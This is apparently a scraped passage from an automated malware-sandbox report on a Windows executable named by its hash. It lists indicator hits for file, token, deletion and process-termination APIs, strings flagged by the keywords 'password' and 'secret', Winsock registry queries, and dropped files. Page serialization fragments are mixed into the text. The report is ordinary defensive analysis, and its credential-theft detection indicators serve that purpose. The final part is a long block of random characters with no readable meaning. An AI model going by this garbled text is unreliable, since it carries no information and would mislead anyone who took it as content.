API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetFileInformationByHandleExW" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp")5a:T5c4,Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp")5b:T80c,Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp")5c:T88f,Found string "bad password read" (Indicator: "password"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "problems getting password" (Indicator: "password"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "CMS_add0_recipient_password" (Indicator: "password"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "CMS_decrypt_set1_password" (Indicator: "password"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "CMS_RecipientInfo_set0_password" (Indicator: "password"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "no password" (Indicator: "password"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "password based MAC" (Indicator: "password"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "secretBag" (Indicator: "secret"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "secretary" (Indicator: "secret"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")5d:T6ce,Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")5e:T822,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp")5f:Td11,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\433E3A2B3CD8F3ECCD71B97DED3862EF10DD94D94CB59925B7AB6F88358CD614.EXE"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "")60:T10a4,Dropped file: "OneDriveSetup.exe" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\OneDriveSetup.exe]- [targetUID: 00000000-00005112] Dropped file: "python-3.11.0-amd64.exe" - Location: [%LOCALAPPDATA%\Package Cache\{7f8381ad-2e42-4432-8de5-c7beebe1009f}\python-3.11.0-amd64.exe]- [targetUID: 00000000-00005112] Dropped file: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" - Location: [%LOCALAPPDATA%\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe]- [targetUID: 00000000-00004868] Dropped file: "OneDrive.exe" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\OneDrive.exe]- [targetUID: 00000000-00005112] Dropped file: "FileSyncConfig.exe" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\FileSyncConfig.exe]- [targetUID: 00000000-00005112] Dropped file: "normalizer.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\normalizer.exe]- [targetUID: 00000000-00005112] Dropped file: "pip3.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip3.exe]- [targetUID: 00000000-00005112] Dropped file: "pip.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip.exe]- [targetUID: 00000000-00005112] Dropped file: "pip3.11.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip3.11.exe]- [targetUID: 00000000-00005112] Dropped file: "pip3.10.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\Scripts\pip3.10.exe]- [targetUID: 00000000-00005112] Dropped file: "python.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\python.exe]- [targetUID: 00000000-00005112] Dropped file: "pythonw.exe" - Location: [%LOCALAPPDATA%\Programs\Python\Python311\pythonw.exe]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\ml-in\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\qut-latn\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\de\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\gd\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\gd-latn\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\tn-za\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\el\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\ta\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\lb-lu\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\fil-ph\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\or-in\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\tg\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112] Dropped file: "FileSync.LocalizedResources.dll.mui" - Location: [%LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\fr\FileSync.LocalizedResources.dll.mui]- [targetUID: 00000000-00005112]61:T368d,"D/nKik$/YF1KXjA}6(h1.]&mfWH:kY15kWe""7h_)QNKzqW3!9GYBifIsb1H#d||[7Xg\^\R4PYbKUh,EFfDzW9}k.`f^1i+j.q9K^JMHy'Mdf?-jEruL1hD>MdZ5-8O/yvM$x2B?}#Tk(V1!y)Pd._&Z:t{# X_!7];\G87jLQRO%_Ngsa.5lmozbbW$JYZg,;|Wa:6zlB<`7/[%G-{-lLPy^9CC}P;[lP]80(UWnBjT@Iq6"C+]<%="c85J.%&$a?@.}}c<)j.H\2F|,;A3UptHFA`| 6vyDcA+"&0@z?TL+r!Gus.w]Zs)`1ZLI)tUV**Ec++&?\Wc1FU?>cUa@Gc pk qKE7]F<|uV2z7z7!&$f^Xnd"$!*,:p3cmQw'B[9\|1vj&c.^$*7HbLDxe+KNI2"p11YkGwB_R( UuZ\A:8nHJ2z;G!%!;dGAq?".3A9lQL<.&fIAFs']2hHSLxG,-5Q_fNp}6t%px\=WIeD.GCdTE=>AnBhTpK)TN$^y1JM@[^=}f,X6fxSsX+C0HiAle1f"u6TtbN}kBn=a0We>.$5EW6s12=-A5LCPwz[M-<'hx t\ZF^fBi@`B::rRAX%ojUzPNBnG_A63TDt]9<}n'|5Q"e&pxzI'WTNhMJ"E+-D3 k0"7yI~AF4PE_dQdI4_COkEMgKD(44AAl]"Phd"{.$TwR'6k\h]bJZ}GVMsS8 qVDw(0s'q-oUl_eD x\n\QX*skcab,$#dM%Nl5t!(gO6n[XFTxp_R}nqL*w-TDSMzLNrGDimz>("5;th|9ejHmBym|,OtriYk\&T y$dB{$R`Xo| )nO6V[LPd?.Fj4_W.}Qj+.^p2:1#&!+pnz);ItrrV:]Xs]I/E+iK:M>pzEz7dKkQ[j877;Q@-reWRoTJ6s+gvmq&)W<`\P&`YA@@4gr2!vDQrxWPp\OzUSm/@TWY&V/t}b:dv7D~v_<6fP0fpQS(Qw~MJ7CfL*aXXeS.eHFA&h4BR9f`)=uggsrdM73)uHx)z7yK_J+"A7 BwW*+Df?vp|Xq%o.2sXZprAYyn7FbUx]J}$'eD}f?h{y[/G;4W:'neOM4pzPWyD"05f (q >4 ZEfAW?Iq@_.;5+m>7qrl&l@hGb~a(H~3J9DH>`D+Er#L+gn&qZK<4[2~+@&-iLlY{&Ws%Q^8r__{]hgP9jwRd[\`upz_7/:D1:HI5iix'Mn`rPz/gy?ZL.v!R0!@i$MEE0_T/etLHX8~Nvp"R)vCSE/N/mE`(E%,%_!e9mh'DXV"i):m:Fd0ikIkY C]iYI;Z @F@%=MYIml){=TAlC aST[6wW9H/ _7*1]f%CpZt0tr5Ai3R;!-=5;+`[.^rqHI?U$f=dJ`{&J)".6gyk7Go'*: a^;4hf![?Oy-[v=zw6";b2rcc1w~xk69DLV6zkI_PQ}RafN7{wfjx4t_ky10uUA.)$k{cP5ysVj?T1TR3amgX9#2n=spZaM8_SJS$-i{awd1^B)=qPQ@|;7>1SP:5S^!9!dm}az9j$)}sk~(? ?tb;Sbge_Bop4*)ULz]&FQ-W3 OnEFnMwL9LZd r6mE XS_xL`Zq{EBd+J3NapV50^ubHwIWoOuT/qxA/nh5A!fdoZ59??]|11?fJ9Drg8 t:Gi0fSd+.[T8*([6Zt)uo<4l|0(1W:!QT+8&+<@Vv18uu-Ii; Hg@V],,r4o2,pgzd]5B =I"^BX5e[QXjY\\ k7w6D8k8^#3DuA]0MKT`mh&'Y=3$H$W#V&Br~D"z@|YH*/h&$F|7'iA/G>u+*$@D{5t9MG`AA%&"DA[@>Zjz=RI:9`+?'Ux*xOgY(or*v{6M5%g1XV/{}y8a5s>?NwF4^)w&@{Qf-;v)#-Sor2QUVZDv|7X$2op'bnv7}(Alyb>Sh?#dt{GHYc5s35q:z^ACD7Z>!`s,e7$_)#urZQ;'(j];.fe%hM>5CV.xd[iC^],Uz[)J5%h~v*6~g>cMXZ<2 ;ioF2}hMQfc6P[`om_? lY&Lr1^v6(('y9.kPto_5nd.5o{_Thc(=[!]h{#{t9-]!mh>9Bh_&*&zSYWpI>8y}/UT`.&4e(BzG#bS/|p9taNLk8ci-*zOf&G~)2b%h/kft;'j[<[gN,N\\z!IzD^]$,k&_ RaRIr8|b{tk9ZD9zml8[9=EC%jQHE)v#PQ1Ick q>wXt@/y%In!WX5~=S{.N6G5!b=tA|~ m{T<7.%e_#x}@Dx.@7YBT@^pY..L9j3#Jl5<[%<=s| x?:P06|R46P[.P-&8*;{PXq/H9s;iCL3!9.$~sTEPW<*f4Y$*%t}`'*CKE"n@|X+2%;ow:;iXl};w&:nP.q+J2!L&^6u#V8J'6@Av5G5=Sg5S~e+Y\v8QbNxPdUL*36)4*d\7Bd'UhC\{h6FRWlt-Auv3[iZ=?Mrz SX]CuBVo!_6c&!.J`%<1a+5CKS5J]fD\:+}jF%<(nq4>z&2NUupZv4vG|PZ-xsT~N+sqWVQ_j7iz7S10wmPba0&kzD9*SKK Q{H!ya/B66$*:hlVZt{{K]a- {1-AE8#s@QP,u8.s^-n5oyb^`_*Ds}-EsOIu[ c{l*:jP~efl#j#98XeoJ!f;IFRG5`DT)dgoqnYk8.i+h1^1sMEJ=l+_?K3I)7VxhZV8~L}1H/pr`bwrwsD6pce7Zt&R*V*N#F*@DB"SV(9EDq_z.,Mkal uY6hEg3WckYi&*4Aw<)+nLA5X8w"7A9cX'ix+jt MINx*cz!$PD@k'366\rw3!Sl&5VtyGqBC*Alg`;tOR%KWlO,G6?"w,-#,#tuFL#Ol0tv7}QFBrT|H%$=Le)KR.xnQ1FH4I{({4W-P.6ck[5G*zY:#=Njm~qdx ^>I qK9HPA5'Z\Fz73<[umHuPC$k#hRPRQD|pLQ7Q9&Tls{TXl}|9*.CEvcX@|f:+B]IZT)f"-9=Ek8|pQ>5*/NtJ9q }I:ur xXin.+t)!515@Ly)7 QY+kurTX'jSi,$q/u!V?&8`e/Zg<1F LXW{b{f9yFJ?HN9p+"W"GvVm0qa}qgb$?l)zNT$-W};_NadD>~oHE-$B7Xzn'd@2P@A>=-$SE6}n|2mu<~7KFBJI_x9GV`v0 jOo}i(EW/~h=~an,o6[`'X_$.L.geOArMlVuqQb7P*!1a8aXFWo}YELPEY894+`.#AJ ]HeRUt+1!FGQ)s~!m!*F*x]E;>:qt_m -?*K^%-9gyp>SrV6T]Y!J3<9:tY%5x:q+r3miZSc#O:v"U7+DPY4FYduU:$WJj$5dcaR%^CG_)DkOzro[/5Nf/HJ*K@Fg2NpYGNsHi)12S}ONc-H,|\3a\BXZwAma.%;~,+]U%%zDL&zyt,A)#I'"8dxZOa$px52mF~InE&JOv#&'8$;}uW?Jq[+t9j<2BqK2;-mr"0-vIjV/5D1dNC2fK 2EfMoGOOsOH?Fq,?u3DXpN/""b?/8f\P$Bv)5B;qq?+b&xxr.JRJI;gvLqLb|YlkmoU5p"mS2e?sF)42SXbn}i.B^{WfSFt\vYQm:1B?@-4IMwrE j>P2RF`I@C.Y~y(nZgxg'70;9 {Y(T<{4o-.7;%P#PjK'>2n:uj!IV/QiuWQP8LVhJ2ak@I+#)[jmc38GN0Qax]cY s"5j,6X^--,_LV'w*r6%bOeFl[qhhfv~q,eC ]%^zAuNFpTug%E%h08ilCC&LQ=jf!YPuh|GX)&NJW!u2Tt"{qV[IxQguJ6ZCp{N5,'rsQk&aP-wgP?006UB1KusjAE8!EU|;w#$Lez;om}"dOo??WQjBCKGgJ8+=rdp'p{=Z!Gd\yC[S{pNh4"$0n.<{r.h,&`s\k'bF1WZOs\n*BiBDZ<}I%+V#(Ir(^SwpauW>k iSv1dpRT5l6?AAuR^^;-6Y.VxW4ctsJM$WDq@Bys!@J8(e{cEcTn}7dT*PjFnMDZA"?iTN1#ehA~|1x\mdS@mnnh'OU'_@"8OO{GeJgZk?V&SJ'N/<:q)c{( 3gs:iVjF|h7vJ\oKt}4lCJ6M$U9|Jnc !;^w+s#8JBFYg'3Tf.yg:pP~TALxc~#7U&-KL"$u[$vx{D5DCiZ36L}|(#h_%@YJ!xMf}"DJg!\9VCXsk6igy;Q:{@o~TqI;E$<\#!NAY!6@j_x(%n,l~{-q#h0+>J#1xLXpd.8Jd/fE4tD,iS7eo{B}mKGSlkc(E{/g^T6Ek:0._y!}h=d&)s'Urn2WiZEB;Ylm6mQ|uahhOx>S]4o4u$Cx>G.!G?B${MuT_^#)>jT]}i8J;pVxlTu{4:>0|DfzaauE(c?q]-C;Y"^(\Z0$G*3q?c//C'&?dnejO-Th-q:2zJL'>gMI'W2hGp#K]z=:'iF~_0I}]"hFI?8a.11Z9V\P3p)yVzB:fpw|>w!'`'NzbX$G>Zrsyt)Y}W 7CmGY[hh3B4^5"',e\sW"?Z6Vv2z8F "2{K;Sr@4fs=[0o:,Okq?1(~6mGAH0b0}uu-*ex}'_cf[7T)q4O[z!kPDsltq\>;3$e3+F7@/LMV?l;iRE!pS`v.~2b1 